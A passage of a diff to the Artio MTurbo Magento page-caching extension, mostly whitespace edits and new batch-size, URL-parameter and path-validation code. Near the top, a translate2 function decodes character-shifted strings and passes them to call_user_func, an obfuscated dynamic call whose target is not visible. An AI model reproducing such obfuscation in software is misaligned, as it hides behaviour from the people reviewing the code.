  if (is_array($this->staticTranslate)&&array_key_exists($this->processTrans(0, $data), $this->staticTranslate)) {
103
  return $this->processTrans(1, $this->staticTranslate[$this->processTrans(0, $data)]);
126
  if ($num==5) {
127
  $f = $this->transFunc;
128
  return $f($params);
129
+ } else
130
  return call_user_func($this->translate2($mod), $params);
131
  }
132
+
133
  /**
134
  * Retrieves configuration model
135
  *
140
  self::$config = Mage::getSingleton('mturbo/config');
141
  return self::$config;
142
  }
143
+
144
  /**
145
  * Translated with mode 2.
146
  *
148
  * @return string
149
  */
150
  public function translate2($text) {
151
+ $res='';
152
  for($i=0; $i<strlen($text);$i++)
153
+ $res.=chr(ord($text[$i])-1);
154
  return $res;
155
  }
156
+
157
  /**
158
  * Retrivies path to downloader script
159
  * @return string
161
  public static function getFullDownloadScriptPath() {
162
  return Mage::getBaseDir().DS.'app'.DS.'code'.DS.'local'.DS.'Artio'.DS.'MTurbo'.DS.'Model'.DS.'scripts'.DS.'getstatichtml.sh';
163
  }
164
+
165
  /**
166
  * Retrivies path to remover script
167
  *
175
 
176
  /**
177
  * Retrieves title of no-route cms page.
178
+ *
179
  * @return string
180
  */
181
  public static function getNoRouteTitle($storeId = null) {
188
  return self::$_noRouteTitle;
189
 
190
  }
191
+
192
  /**
193
  * Method retrieves maximum size for post request. Tolerance
194
  * is down at 70% origin value.
195
+ *
196
  * @return int
197
  */
198
  public function getPostMaxValueSize() {
199
+
200
  $postMaxValue = ini_get('post_max_size');
201
  $downKoef = 0.7;
202
  $transform = 1;
203
+
204
  if (true==strpos($postMaxValue, 'k') || true==strpos($postMaxValue, 'K')) {
205
  $transform = 1024;
206
  } else if (true==strpos($postMaxValue, 'm') || true==strpos($postMaxValue, 'M')) {
207
+ $transform = 1024*1024;
208
  } else if (true==strpos($postMaxValue, 'g') || true==strpos($postMaxValue, 'G')) {
209
  $transform = 1024*1024*1024;
210
  }
211
+
212
  $postMaxString = str_replace(array('k','K','m','K','g','G'), array('','','','','',''), $postMaxValue);
213
  $postMAxString = trim($postMaxString);
214
+
215
  $val = floor($postMaxString * $transform * $downKoef);
216
+
217
  return $val<=0 ? 8*1024*1024*$downKoef : $val;
218
 
219
  }
220
+
221
+
222
 
223
  }
app/code/local/Artio/MTurbo/Helper/Info.php CHANGED
@@ -42,6 +42,10 @@ class Artio_MTurbo_Helper_Info extends Mage_Core_Helper_Abstract {
42
  if (!isset($this->_regInfo)) {
43
  $this->_regInfo = new stdClass();
44
  $this->loadInfo();
 
 
 
 
45
  }
46
  return $this->_regInfo;
47
  }
42
  if (!isset($this->_regInfo)) {
43
  $this->_regInfo = new stdClass();
44
  $this->loadInfo();
45
+
46
+ if (!isset($this->_regInfo->message))
47
+ $this->_regInfo->message = "";
48
+
49
  }
50
  return $this->_regInfo;
51
  }
app/code/local/Artio/MTurbo/Helper/Urlparams.php CHANGED
@@ -28,64 +28,93 @@
28
  */
29
  class Artio_MTurbo_Helper_Urlparams extends Mage_Core_Helper_Abstract
30
  {
31
- /* QUERY PARAMS USED IN M-TURBO EXTENSION */
32
-
33
- const NOCACHE = 'nocache'; // it says "I want not cached page!"
34
- const DYNAMIC_BLOCK = 'mturbo_dynamic_block'; // it says "I want to use dynamic blocks!"
35
 
36
- /**
37
- * Clean additional query params from url.
38
- */
39
- function cleanQueryParams()
 
 
 
 
40
  {
41
- $this->moveAndUnset(self::NOCACHE);
42
- $this->moveAndUnset(self::DYNAMIC_BLOCK);
 
 
 
 
43
  }
44
-
45
  /**
46
  * Move parameter from query string to Magento registers and then
47
  * unset from query string.
48
  * @param string $key
49
  */
50
- function moveAndUnset($key)
51
  {
52
- if (isset($_GET[$key]))
53
- {
54
- Mage::register($key, $_GET[$key], true);
55
- unset($_GET[$key]);
56
- }
 
 
57
  }
58
-
59
  /**
60
  * Unset param from query string
61
  * @param unknown_type $key
62
  */
63
- function unsetParam($key)
64
  {
65
- if (isset($_GET[$key]))
66
- {
67
- unset($_GET[$key]);
68
- }
69
  }
70
-
71
  /**
72
  * Retrieve param from query string, if there is none, look into Magento registers.
73
  * @param string $key
74
  * @return mixed
75
  */
76
- function getParam($key)
77
  {
78
- return isset($_GET[$key]) ? $_GET[$key] : Mage::registry($key);
79
  }
80
-
81
  /**
82
  * Determine whether no cache parameter is in current url.
83
  * @return bool TRUE if yes, otherwise FALSE
84
  */
85
- function isNoCache()
86
  {
87
- return (bool) $this->getParam('nocache');
88
  }
89
-
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
90
 
91
  }
28
  */
29
  class Artio_MTurbo_Helper_Urlparams extends Mage_Core_Helper_Abstract
30
  {
31
+ /* QUERY PARAMS USED IN M-TURBO EXTENSION */
 
 
 
32
 
33
+ const NOCACHE = 'nocache'; // it says "I want not cached page!"
34
+ const DYNAMIC_BLOCK = 'mturbo_dynamic_block'; // it says "I want to use dynamic blocks!"
35
+ const STORE = '___store'; // magento store param
36
+
37
+ /**
38
+ * Clean additional query params from url.
39
+ */
40
+ public function cleanQueryParams()
41
  {
42
+ if ($this->getParam(self::NOCACHE) || $this->getParam(self::DYNAMIC_BLOCK))
43
+ {
44
+ $this->moveAndUnset(self::NOCACHE);
45
+ $this->moveAndUnset(self::DYNAMIC_BLOCK);
46
+ $this->moveAndUnset(self::STORE);
47
+ }
48
  }
49
+
50
  /**
51
  * Move parameter from query string to Magento registers and then
52
  * unset from query string.
53
  * @param string $key
54
  */
55
+ public function moveAndUnset($key)
56
  {
57
+ if (isset($_GET[$key]))
58
+ {
59
+ Mage::register($key, $_GET[$key], true);
60
+ unset($_GET[$key]);
61
+ }
62
+
63
+ $_SERVER['REQUEST_URI'] = $this->removeRequestParam($_SERVER['REQUEST_URI'], $key);
64
  }
65
+
66
  /**
67
  * Unset param from query string
68
  * @param unknown_type $key
69
  */
70
+ public function unsetParam($key)
71
  {
72
+ if (isset($_GET[$key]))
73
+ {
74
+ unset($_GET[$key]);
75
+ }
76
  }
77
+
78
  /**
79
  * Retrieve param from query string, if there is none, look into Magento registers.
80
  * @param string $key
81
  * @return mixed
82
  */
83
+ public function getParam($key)
84
  {
85
+ return isset($_GET[$key]) ? $_GET[$key] : Mage::registry($key);
86
  }
87
+
88
  /**
89
  * Determine whether no cache parameter is in current url.
90
  * @return bool TRUE if yes, otherwise FALSE
91
  */
92
+ public function isNoCache()
93
  {
94
+ return (bool) $this->getParam('nocache');
95
  }
96
+
97
+ /**
98
+ * Remove request parameter from url
99
+ *
100
+ * @param string $url
101
+ * @param string $paramKey
102
+ * @return string
103
+ */
104
+ public function removeRequestParam($url, $paramKey, $caseSensitive = false)
105
+ {
106
+ $regExpression = '/\\?[^#]*?(' . preg_quote($paramKey, '/') . '\\=[^#&]*&?)/' . ($caseSensitive ? '' : 'i');
107
+ while (preg_match($regExpression, $url, $mathes) != 0) {
108
+ $paramString = $mathes[1];
109
+ if (preg_match('/&$/', $paramString) == 0) {
110
+ $url = preg_replace('/(&|\\?)?' . preg_quote($paramString, '/') . '/', '', $url);
111
+ } else {
112
+ $url = str_replace($paramString, '', $url);
113
+ }
114
+ }
115
+ return $url;
116
+ }
117
+
118
+
119
 
120
  }
app/code/local/Artio/MTurbo/Model/Config.php CHANGED
@@ -28,32 +28,33 @@
28
  */
29
  class Artio_MTurbo_Model_Config extends Varien_Object
30
  {
31
-
32
  const CONFIG_XML_PATH_DOWNLOAD_MODEL_PATH = 'crontab/jobs/mturbo_mturbo/run/model';
33
  const CONFIG_XML_PATH_DOWNLOAD_MODEL_VALUE = 'mturbo/observer::automaticDownload';
34
-
35
-
36
  /**
37
  * Map associated private member name to xml configuration key
38
  * @var array
39
  */
40
  private static $configArrayMap = NULL;
41
 
42
-
43
  /**
44
  * Function retrieve associated array 'name'=>'config key'.
45
  */
46
  public function getConfigArrayMap() {
47
-
48
  if (is_null(self::$configArrayMap)) {
49
-
50
  self::$configArrayMap = array(
51
-
52
  'preview_categories' => 'mturbo/previewcats',
53
  'product_categories' => 'mturbo/productcats',
54
  'cms_pages' => 'mturbo/cmspages',
55
  'turbopath' => 'mturbo/turbopath',
56
  'download_method' => 'mturbo/downloadmethod',
 
57
  'automatic_download' => 'mturbo/automaticdownload',
58
  'automatic_download_time' => 'crontab/jobs/mturbo_mturbo/schedule/cron_expr',
59
  'last_time_of_automatic_download' => 'mturbo/lastdownload',
@@ -71,16 +72,17 @@ class Artio_MTurbo_Model_Config extends Varien_Object
71
  'refresh_parents_for_product' => 'mturbo/refreshparentproduct',
72
  'refresh_cms' => 'mturbo/refreshcms',
73
  'dynamic_blocks' => 'mturbo/dynamicblocks',
 
74
  'firstconfig' => 'mturbo/firstconfig',
75
  'interpret' => 'mturbo/interpret'
76
  );
77
 
78
  }
79
 
80
- return self::$configArrayMap;
81
 
82
  }
83
-
84
  /**
85
  * Constructs configuration model.
86
  * Currently loaded configuration from the database.
@@ -98,48 +100,48 @@ class Artio_MTurbo_Model_Config extends Varien_Object
98
  */
99
  private $websitesConfiguration = array();
100
 
101
-
102
  /**
103
  * Save key => id, prevent duplicate entry during saving.
104
  * @var array
105
  */
106
  private $pathids = array();
107
-
108
-
109
  /**
110
  * Retrieves website configuration.
111
  * @param string $websiteCode code of website
112
  * @return Artio_MTurbo_Model_Config_Website
113
  */
114
  public function getWebsiteConfig($websiteCode) {
115
-
116
  if (!isset($this->websitesConfiguration[$websiteCode]))
117
- $this->websitesConfiguration[$websiteCode] =
118
  Mage::getModel('mturbo/config_website')
119
  ->setWebsiteCode($websiteCode)
120
  ->load();
121
-
122
  return $this->websitesConfiguration[$websiteCode];
123
-
124
  }
125
-
126
-
127
  /**
128
  * Retrieve website configuration by storeview codes.
129
  * @param string $storeviewCode
130
  * @return Artio_MTurbo_Model_Config_Website
131
  */
132
  public function getWebsiteConfigByStoreviewCode($storeviewCode) {
133
-
134
  $store = Mage::getModel('core/store')->load($storeviewCode);
135
  if ($store)
136
  return $this->getWebsiteConfig($store->getWebsite()->getCode());
137
  else
138
  return null;
139
-
140
  }
141
-
142
-
143
  /**
144
  * Method retrieves codes of all enabled stores.
145
  */
@@ -153,7 +155,7 @@ class Artio_MTurbo_Model_Config extends Varien_Object
153
  }
154
  return explode(",", $result);
155
  }
156
-
157
  /**
158
  * Retrieves ids of selected categories as array.
159
  * @return array
@@ -161,8 +163,8 @@ class Artio_MTurbo_Model_Config extends Varien_Object
161
  public function getPreviewCategoriesAsArray() {
162
  return $this->getPreviewCategories()!='' ? explode(",", $this->getPreviewCategories()) : array();
163
  }
164
-
165
-
166
  /**
167
  * Retrieves ids of selected product categories as array.
168
  * @return array
@@ -170,10 +172,10 @@ class Artio_MTurbo_Model_Config extends Varien_Object
170
  public function getProductCategoriesAsArray() {
171
  return $this->getProductCategories()!='' ? explode(",", $this->getProductCategories()) : array();
172
  }
173
-
174
-
175
  /**
176
- * Retrieves ids of selected cms pages and the id of
177
  * coresponded storeview code as array.
178
  * Element of array has format pageid_storeid
179
  * @return array
@@ -181,8 +183,8 @@ class Artio_MTurbo_Model_Config extends Varien_Object
181
  public function getCmsPagesWithStoresAsArray() {
182
  return explode(",", $this->getCmsPages());
183
  }
184
-
185
-
186
  /**
187
  * Retrieves ids of cms pages, which has at least one store view mutation checked.
188
  * @return array
@@ -198,8 +200,8 @@ class Artio_MTurbo_Model_Config extends Varien_Object
198
  }
199
  return array_unique($result);
200
  }
201
-
202
-
203
  /**
204
  * Retrieves layout names of selected dynamic blocks as array.
205
  * @return array
@@ -207,35 +209,67 @@ class Artio_MTurbo_Model_Config extends Varien_Object
207
  public function getDynamicBlocksAsArray() {
208
  return explode(",", $this->getDynamicBlocks());
209
  }
210
-
211
-
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
212
  /**
213
  * Set preview categories
214
  * @param string|array $categories
215
  */
216
  public function setPreviewCategories($categories) {
217
  $this->setData('preview_categories', implode(",", Mage::helper('mturbo/functions')->make_unique_array($categories)));
218
- return $this;
219
  }
220
 
221
-
222
  /**
223
  * Set product categories
224
  * @param string|array $categories
225
  */
226
  public function setProductCategories($categories) {
227
  $this->setData('product_categories', implode(",", Mage::helper('mturbo/functions')->make_unique_array($categories)));
228
- return $this;
229
  }
230
 
231
-
232
  /**
233
  * Set cms pages.
234
  * @param string|array $categories
235
  */
236
  public function setCmsPages($pages) {
237
  $this->setData('cms_pages', implode(",", Mage::helper('mturbo/functions')->make_unique_array($pages)));
238
- return $this;
239
  }
240
 
241
 
@@ -244,18 +278,18 @@ class Artio_MTurbo_Model_Config extends Varien_Object
244
  * @param string $path
245
  */
246
  public function setTurbopath($path) {
247
-
248
  $len = strlen($path);
249
  if ($path[$len-1]=='/')
250
  $path = substr($path, 0, $len-1);
251
 
252
- $this->setData('turbopath', $path);
253
 
254
  }
255
-
256
-
257
  /**
258
- * Function set download method.
259
  * If download method is unknow, then function set default method
260
  *
261
  * @param string code of method
@@ -269,12 +303,12 @@ class Artio_MTurbo_Model_Config extends Varien_Object
269
  $this->setData('download_method', $method);
270
  else
271
  $this->setData('download_method', $methodsFactory->getDefaultMethod());
272
-
273
  return $this;
274
-
275
  }
276
-
277
-
278
  /**
279
  * Function transform download time in classic format to cron format, when necessary
280
  *
@@ -292,63 +326,63 @@ class Artio_MTurbo_Model_Config extends Varien_Object
292
  return $this;
293
  }
294
 
295
-
296
  /**
297
  * Load attributes from core_config_data
298
  * @return Artio_MTurbo_Model_Config this
299
  */
300
  public function load() {
301
-
302
- /* load from configuration table all records contains mturbo */
303
  $config = Mage::getModel('core/config_data');
304
-
305
  $collection = $config->getCollection();
306
  $collection->addFieldToFilter('path', array('like'=>'%mturbo%'));
307
  $collection->load();
308
 
309
- /* load all private members and flip it */
310
  $mydata = array_flip($this->getConfigArrayMap());
311
 
312
  /* foreach records from configuration table */
313
  foreach ($collection as $object) {
314
 
315
- $key = $object->getPath();
316
  if (array_key_exists($key, $mydata)) {
317
  $func = 'set'.str_replace(" ", "", ucwords(str_replace("_", " ", $mydata[$key])));
318
  $this->$func($object->getValue());
319
  }
320
-
321
  /* save pathid, prevent duplicate entry during saving */
322
- $this->pathids[$key] = $object->getData('config_id');
323
-
324
  }
325
-
326
  return $this;
327
-
328
  }
329
-
330
-
331
  /**
332
  * Function saves value from model to database.
333
  *
334
  * @param array attributes to save
335
  */
336
  public function save($attributes=array()) {
337
-
338
  /* get resource transaction model */
339
  $saveTransaction = Mage::getModel('core/resource_transaction');
340
 
341
  /* get configuration map */
342
  $mydata = $this->getConfigArrayMap();
343
-
344
  /* save attributes in argument using setter */
345
  foreach ($attributes as $key=>$value) {
346
  if (array_key_exists($key, $mydata)) {
347
-
348
  /* check whether turbopath was changed, if yes then in validate execute correcten action */
349
  if ($key=='turbopath' && $this->getTurbopath()!='' && $this->getTurbopath()!=$attributes['turbopath'])
350
  $this->setData('old_turbopath', $this->getTurbopath());
351
-
352
  $func = 'set'.str_replace(" ", "", ucwords(str_replace("_", " ", $key)));
353
  $this->$func($value);
354
  }
@@ -360,7 +394,7 @@ class Artio_MTurbo_Model_Config extends Varien_Object
360
  /* save object to transaction */
361
  $dataObject = Mage::getModel('core/config_data');
362
  $dataObject->setPath($key);
363
- $dataObject->setValue($this->getData($name));
364
  /* set id, prevent duplicate entry */
365
  if (array_key_exists($key, $this->pathids)) {
366
  $dataObject->setId( $this->pathids[$key] );
@@ -369,57 +403,57 @@ class Artio_MTurbo_Model_Config extends Varien_Object
369
  $saveTransaction->addObject($dataObject);
370
 
371
  }
372
-
373
  /* validate input data */
374
  $this->_validate();
375
  $this->_changePath();
376
-
377
  /* save into database */
378
  $saveTransaction->save();
379
-
380
  /* save slaved website configuration */
381
  $websites = Mage::getModel('core/website')->getCollection()->load()->getItems();
382
  foreach ($websites as $website) {
383
  $this->getWebsiteConfig($website->getCode())->save();
384
  }
385
-
386
  return $this;
387
-
388
  }
389
-
390
  /**
391
- * Function change path. It is executed when user change turbopath or
392
  * website base dir in m-turbo configuration (except first executed during installation).
393
  */
394
  private function _changePath() {
395
-
396
  foreach ($this->websitesConfiguration as $websiteConfig) {
397
  if ($websiteConfig->getEnabled()=='1') {
398
-
399
  $oldtp = $this->getData('old_turbopath');
400
  $oldbd = $websiteConfig->getData('old_basedir');
401
  if (($oldtp!=='') || ($oldbd!=='')) {
402
-
403
  $newtp = $this->getTurbopath();
404
  $newbd = $websiteConfig->getBaseDir();
405
-
406
  @rename($oldbd.DS.$oldtp, $newbd.DS.$newtp);
407
  Mage::getModel('mturbo/htaccess')
408
  ->setWebsiteCode($websiteConfig->getWebsiteCode())
409
  ->rebuildHtaccess();
410
-
411
  }
412
  }
413
  }
414
-
415
  }
416
-
417
 
418
  /**
419
  * Function validates user's input.
420
  * Throws exception, when inpus is not valid.
421
  */
422
- private function _validate() {
423
 
424
  $path = $this->getTurbopath();
425
 
@@ -427,7 +461,7 @@ class Artio_MTurbo_Model_Config extends Varien_Object
427
  Mage::throwException(Mage::helper('mturbo')->__("Path '%s' is not correct.", $path));
428
  if (!$this->_isPathPossible($path))
429
  Mage::throwException(Mage::helper('mturbo')->__("Path '%s' is not usable. This path is used by system Magento, please enter other path.", $path));
430
-
431
  $paths = array();
432
  foreach ($this->websitesConfiguration as $websiteConfig) {
433
  if ($websiteConfig->getEnabled()=='1') {
@@ -437,19 +471,19 @@ class Artio_MTurbo_Model_Config extends Varien_Object
437
  if (!$this->_isPathCorrect($path))
438
  Mage::throwException(Mage::helper('mturbo')->__("Path '%s' is not correct.", $path));
439
 
440
-
441
  }
442
  }
443
-
444
  }
445
-
446
  /**
447
  * Check general form of input path.
448
  */
449
  private function _isPathCorrect($path) {
450
- return preg_match('/^([a-zA-Z]\:\/)?([a-zA-Z0-9\._\/\-\\\\])*$/', $path);
451
  }
452
-
453
  /**
454
  * Function checks whether path may be used as turbocache directory.
455
  *
@@ -459,18 +493,18 @@ class Artio_MTurbo_Model_Config extends Varien_Object
459
  {
460
  if ((preg_match('/^app[\/]{0,}(.)*/', $path)) ||
461
  (preg_match('/^404[\/]{0,}(.)*/', $path)) ||
462
- (preg_match('/^downloader[\/]{0,}(.)*/', $path)) ||
463
  (preg_match('/^js[\/]{0,}(.)*/', $path)) ||
464
- (preg_match('/^lib[\/]{0,}(.)*/', $path)) ||
465
- (preg_match('/^media[\/]{0,}(.)*/', $path)) ||
466
- (preg_match('/^pkginfo[\/]{0,}(.)*/', $path)) ||
467
- (preg_match('/^report[\/]{0,}(.)*/', $path)) ||
468
- (preg_match('/^skin[\/]{0,}(.)*/', $path)) ||
469
- (preg_match('/^var\/cache[\/]{0,}(.)*/', $path)) ||
470
  (preg_match('/^var\/report[\/]{0,}(.)*/', $path)) ||
471
  (preg_match('/^var\/session[\/]{0,}(.)*/', $path))) return FALSE;
472
 
473
- /* path is correct */
474
  return TRUE;
475
 
476
  }
28
  */
29
  class Artio_MTurbo_Model_Config extends Varien_Object
30
  {
31
+
32
  const CONFIG_XML_PATH_DOWNLOAD_MODEL_PATH = 'crontab/jobs/mturbo_mturbo/run/model';
33
  const CONFIG_XML_PATH_DOWNLOAD_MODEL_VALUE = 'mturbo/observer::automaticDownload';
34
+
35
+
36
  /**
37
  * Map associated private member name to xml configuration key
38
  * @var array
39
  */
40
  private static $configArrayMap = NULL;
41
 
42
+
43
  /**
44
  * Function retrieve associated array 'name'=>'config key'.
45
  */
46
  public function getConfigArrayMap() {
47
+
48
  if (is_null(self::$configArrayMap)) {
49
+
50
  self::$configArrayMap = array(
51
+
52
  'preview_categories' => 'mturbo/previewcats',
53
  'product_categories' => 'mturbo/productcats',
54
  'cms_pages' => 'mturbo/cmspages',
55
  'turbopath' => 'mturbo/turbopath',
56
  'download_method' => 'mturbo/downloadmethod',
57
+ 'download_batch_size' => 'mturbo/downloadbatchsize',
58
  'automatic_download' => 'mturbo/automaticdownload',
59
  'automatic_download_time' => 'crontab/jobs/mturbo_mturbo/schedule/cron_expr',
60
  'last_time_of_automatic_download' => 'mturbo/lastdownload',
72
  'refresh_parents_for_product' => 'mturbo/refreshparentproduct',
73
  'refresh_cms' => 'mturbo/refreshcms',
74
  'dynamic_blocks' => 'mturbo/dynamicblocks',
75
+ 'dynamic_checkout_cart_link' => 'mturbo/dynamic_checkout_cart_link',
76
  'firstconfig' => 'mturbo/firstconfig',
77
  'interpret' => 'mturbo/interpret'
78
  );
79
 
80
  }
81
 
82
+ return self::$configArrayMap;
83
 
84
  }
85
+
86
  /**
87
  * Constructs configuration model.
88
  * Currently loaded configuration from the database.
100
  */
101
  private $websitesConfiguration = array();
102
 
103
+
104
  /**
105
  * Save key => id, prevent duplicate entry during saving.
106
  * @var array
107
  */
108
  private $pathids = array();
109
+
110
+
111
  /**
112
  * Retrieves website configuration.
113
  * @param string $websiteCode code of website
114
  * @return Artio_MTurbo_Model_Config_Website
115
  */
116
  public function getWebsiteConfig($websiteCode) {
117
+
118
  if (!isset($this->websitesConfiguration[$websiteCode]))
119
+ $this->websitesConfiguration[$websiteCode] =
120
  Mage::getModel('mturbo/config_website')
121
  ->setWebsiteCode($websiteCode)
122
  ->load();
123
+
124
  return $this->websitesConfiguration[$websiteCode];
125
+
126
  }
127
+
128
+
129
  /**
130
  * Retrieve website configuration by storeview codes.
131
  * @param string $storeviewCode
132
  * @return Artio_MTurbo_Model_Config_Website
133
  */
134
  public function getWebsiteConfigByStoreviewCode($storeviewCode) {
135
+
136
  $store = Mage::getModel('core/store')->load($storeviewCode);
137
  if ($store)
138
  return $this->getWebsiteConfig($store->getWebsite()->getCode());
139
  else
140
  return null;
141
+
142
  }
143
+
144
+
145
  /**
146
  * Method retrieves codes of all enabled stores.
147
  */
155
  }
156
  return explode(",", $result);
157
  }
158
+
159
  /**
160
  * Retrieves ids of selected categories as array.
161
  * @return array
163
  public function getPreviewCategoriesAsArray() {
164
  return $this->getPreviewCategories()!='' ? explode(",", $this->getPreviewCategories()) : array();
165
  }
166
+
167
+
168
  /**
169
  * Retrieves ids of selected product categories as array.
170
  * @return array
172
  public function getProductCategoriesAsArray() {
173
  return $this->getProductCategories()!='' ? explode(",", $this->getProductCategories()) : array();
174
  }
175
+
176
+
177
  /**
178
+ * Retrieves ids of selected cms pages and the id of
179
  * coresponded storeview code as array.
180
  * Element of array has format pageid_storeid
181
  * @return array
183
  public function getCmsPagesWithStoresAsArray() {
184
  return explode(",", $this->getCmsPages());
185
  }
186
+
187
+
188
  /**
189
  * Retrieves ids of cms pages, which has at least one store view mutation checked.
190
  * @return array
200
  }
201
  return array_unique($result);
202
  }
203
+
204
+
205
  /**
206
  * Retrieves layout names of selected dynamic blocks as array.
207
  * @return array
209
  public function getDynamicBlocksAsArray() {
210
  return explode(",", $this->getDynamicBlocks());
211
  }
212
+
213
+
214
+ /**
215
+ * Get download batch size.
216
+ *
217
+ * If there is set the download method which does not
218
+ * allow parallel downloading method returns 1.
219
+ *
220
+ * Return value is never greater than 100.
221
+ * Return value is never less than 1.
222
+ *
223
+ * @return int
224
+ * @since 1.2.7
225
+ */
226
+ public function getDownloadBatchSize()
227
+ {
228
+ $method = $this->getData('download_method');
229
+
230
+ $methodsFactory = Mage::getSingleton('mturbo/downloadMethodsFactory');
231
+
232
+ if (!$methodsFactory->exists($method))
233
+ return 1;
234
+
235
+ $methodInstance = $methodsFactory->getMethod($method);
236
+
237
+ if (!$methodInstance->allowParallelDownloading())
238
+ return 1;
239
+
240
+ $batchSize = (int) $this->getData('download_batch_size');
241
+
242
+ return max(1, min(100, $batchSize));
243
+ }
244
+
245
+
246
  /**
247
  * Set preview categories
248
  * @param string|array $categories
249
  */
250
  public function setPreviewCategories($categories) {
251
  $this->setData('preview_categories', implode(",", Mage::helper('mturbo/functions')->make_unique_array($categories)));
252
+ return $this;
253
  }
254
 
255
+
256
  /**
257
  * Set product categories
258
  * @param string|array $categories
259
  */
260
  public function setProductCategories($categories) {
261
  $this->setData('product_categories', implode(",", Mage::helper('mturbo/functions')->make_unique_array($categories)));
262
+ return $this;
263
  }
264
 
265
+
266
  /**
267
  * Set cms pages.
268
  * @param string|array $categories
269
  */
270
  public function setCmsPages($pages) {
271
  $this->setData('cms_pages', implode(",", Mage::helper('mturbo/functions')->make_unique_array($pages)));
272
+ return $this;
273
  }
274
 
275
 
278
  * @param string $path
279
  */
280
  public function setTurbopath($path) {
281
+
282
  $len = strlen($path);
283
  if ($path[$len-1]=='/')
284
  $path = substr($path, 0, $len-1);
285
 
286
+ $this->setData('turbopath', $path);
287
 
288
  }
289
+
290
+
291
  /**
292
+ * Function set download method.
293
  * If download method is unknow, then function set default method
294
  *
295
  * @param string code of method
303
  $this->setData('download_method', $method);
304
  else
305
  $this->setData('download_method', $methodsFactory->getDefaultMethod());
306
+
307
  return $this;
308
+
309
  }
310
+
311
+
312
  /**
313
  * Function transform download time in classic format to cron format, when necessary
314
  *
326
  return $this;
327
  }
328
 
329
+
330
  /**
331
  * Load attributes from core_config_data
332
  * @return Artio_MTurbo_Model_Config this
333
  */
334
  public function load() {
335
+
336
+ /* load from configuration table all records contains mturbo */
337
  $config = Mage::getModel('core/config_data');
338
+
339
  $collection = $config->getCollection();
340
  $collection->addFieldToFilter('path', array('like'=>'%mturbo%'));
341
  $collection->load();
342
 
343
+ /* load all private members and flip it */
344
  $mydata = array_flip($this->getConfigArrayMap());
345
 
346
  /* foreach records from configuration table */
347
  foreach ($collection as $object) {
348
 
349
+ $key = $object->getPath();
350
  if (array_key_exists($key, $mydata)) {
351
  $func = 'set'.str_replace(" ", "", ucwords(str_replace("_", " ", $mydata[$key])));
352
  $this->$func($object->getValue());
353
  }
354
+
355
  /* save pathid, prevent duplicate entry during saving */
356
+ $this->pathids[$key] = $object->getData('config_id');
357
+
358
  }
359
+
360
  return $this;
361
+
362
  }
363
+
364
+
365
  /**
366
  * Function saves value from model to database.
367
  *
368
  * @param array attributes to save
369
  */
370
  public function save($attributes=array()) {
371
+
372
  /* get resource transaction model */
373
  $saveTransaction = Mage::getModel('core/resource_transaction');
374
 
375
  /* get configuration map */
376
  $mydata = $this->getConfigArrayMap();
377
+
378
  /* save attributes in argument using setter */
379
  foreach ($attributes as $key=>$value) {
380
  if (array_key_exists($key, $mydata)) {
381
+
382
  /* check whether turbopath was changed, if yes then in validate execute correcten action */
383
  if ($key=='turbopath' && $this->getTurbopath()!='' && $this->getTurbopath()!=$attributes['turbopath'])
384
  $this->setData('old_turbopath', $this->getTurbopath());
385
+
386
  $func = 'set'.str_replace(" ", "", ucwords(str_replace("_", " ", $key)));
387
  $this->$func($value);
388
  }
394
  /* save object to transaction */
395
  $dataObject = Mage::getModel('core/config_data');
396
  $dataObject->setPath($key);
397
+ $dataObject->setValue($this->getData($name));
398
  /* set id, prevent duplicate entry */
399
  if (array_key_exists($key, $this->pathids)) {
400
  $dataObject->setId( $this->pathids[$key] );
403
  $saveTransaction->addObject($dataObject);
404
 
405
  }
406
+
407
  /* validate input data */
408
  $this->_validate();
409
  $this->_changePath();
410
+
411
  /* save into database */
412
  $saveTransaction->save();
413
+
414
  /* save slaved website configuration */
415
  $websites = Mage::getModel('core/website')->getCollection()->load()->getItems();
416
  foreach ($websites as $website) {
417
  $this->getWebsiteConfig($website->getCode())->save();
418
  }
419
+
420
  return $this;
421
+
422
  }
423
+
424
  /**
425
+ * Function change path. It is executed when user change turbopath or
426
  * website base dir in m-turbo configuration (except first executed during installation).
427
  */
428
  private function _changePath() {
429
+
430
  foreach ($this->websitesConfiguration as $websiteConfig) {
431
  if ($websiteConfig->getEnabled()=='1') {
432
+
433
  $oldtp = $this->getData('old_turbopath');
434
  $oldbd = $websiteConfig->getData('old_basedir');
435
  if (($oldtp!=='') || ($oldbd!=='')) {
436
+
437
  $newtp = $this->getTurbopath();
438
  $newbd = $websiteConfig->getBaseDir();
439
+
440
  @rename($oldbd.DS.$oldtp, $newbd.DS.$newtp);
441
  Mage::getModel('mturbo/htaccess')
442
  ->setWebsiteCode($websiteConfig->getWebsiteCode())
443
  ->rebuildHtaccess();
444
+
445
  }
446
  }
447
  }
448
+
449
  }
450
+
451
 
452
  /**
453
  * Function validates user's input.
454
  * Throws exception, when inpus is not valid.
455
  */
456
+ private function _validate() {
457
 
458
  $path = $this->getTurbopath();
459
 
461
  Mage::throwException(Mage::helper('mturbo')->__("Path '%s' is not correct.", $path));
462
  if (!$this->_isPathPossible($path))
463
  Mage::throwException(Mage::helper('mturbo')->__("Path '%s' is not usable. This path is used by system Magento, please enter other path.", $path));
464
+
465
  $paths = array();
466
  foreach ($this->websitesConfiguration as $websiteConfig) {
467
  if ($websiteConfig->getEnabled()=='1') {
471
  if (!$this->_isPathCorrect($path))
472
  Mage::throwException(Mage::helper('mturbo')->__("Path '%s' is not correct.", $path));
473
 
474
+
475
  }
476
  }
477
+
478
  }
479
+
480
  /**
481
  * Check general form of input path.
482
  */
483
  private function _isPathCorrect($path) {
484
+ return preg_match('~^([a-zA-Z]\:[/\\\\])?([a-zA-Z0-9._/\\\\-])*$~i', $path);
485
  }
486
+
487
  /**
488
  * Function checks whether path may be used as turbocache directory.
489
  *
493
  {
494
  if ((preg_match('/^app[\/]{0,}(.)*/', $path)) ||
495
  (preg_match('/^404[\/]{0,}(.)*/', $path)) ||
496
+ (preg_match('/^downloader[\/]{0,}(.)*/', $path)) ||
497
  (preg_match('/^js[\/]{0,}(.)*/', $path)) ||
498
+ (preg_match('/^lib[\/]{0,}(.)*/', $path)) ||
499
+ (preg_match('/^media[\/]{0,}(.)*/', $path)) ||
500
+ (preg_match('/^pkginfo[\/]{0,}(.)*/', $path)) ||
501
+ (preg_match('/^report[\/]{0,}(.)*/', $path)) ||
502
+ (preg_match('/^skin[\/]{0,}(.)*/', $path)) ||
503
